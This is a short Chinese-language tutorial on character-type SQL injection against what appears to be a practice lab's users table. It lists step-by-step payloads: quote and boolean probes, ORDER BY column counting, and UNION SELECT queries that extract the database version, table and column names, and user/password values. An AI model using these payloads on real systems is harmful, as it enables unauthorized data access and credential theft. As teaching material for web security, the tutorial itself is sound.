SQL注入详解
SQL注入的概念
SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
字符注入
后台语句模板
SELECT first_name,last_name FROM users WHERE user_id = ‘$id’;
正常访问
SELECT first_name,last_name FROM users WHERE user_id = ‘1’;
构造SQL注入语句
SELECT firs_name,last_name FROM users WHERE user_id = ‘1’union select1,2#’;
- 判断是否有注入点?
- 先输入1,页面正常
- 在输入1’,页面不正常
- 判断可能有注入点
- 判断注入点类型?
- 1 and 1=1,正常返回
-
1 and 1=2,正常返回
-
1’ and 1=1#,正常返回
- 1’ and 1=2#,无返回
- 结合上面四组测试,判断此注入点为字符型注入
- 判断其数据库有几列
1' order by n#(n为测试数字)
-
1’ order by 3#,页面报错,说明列数小于3
-
1’ order by 2#,页面正常,说明数据库有2列
- 查询当前数据库名,以及版本号
- 1’ union select version(),database()#
- 获取数据库中的表名
- 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 获取表中的字段名,这里以users表为例
- 1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
- 获得字段中的数据
- 1’ union select user,password from users#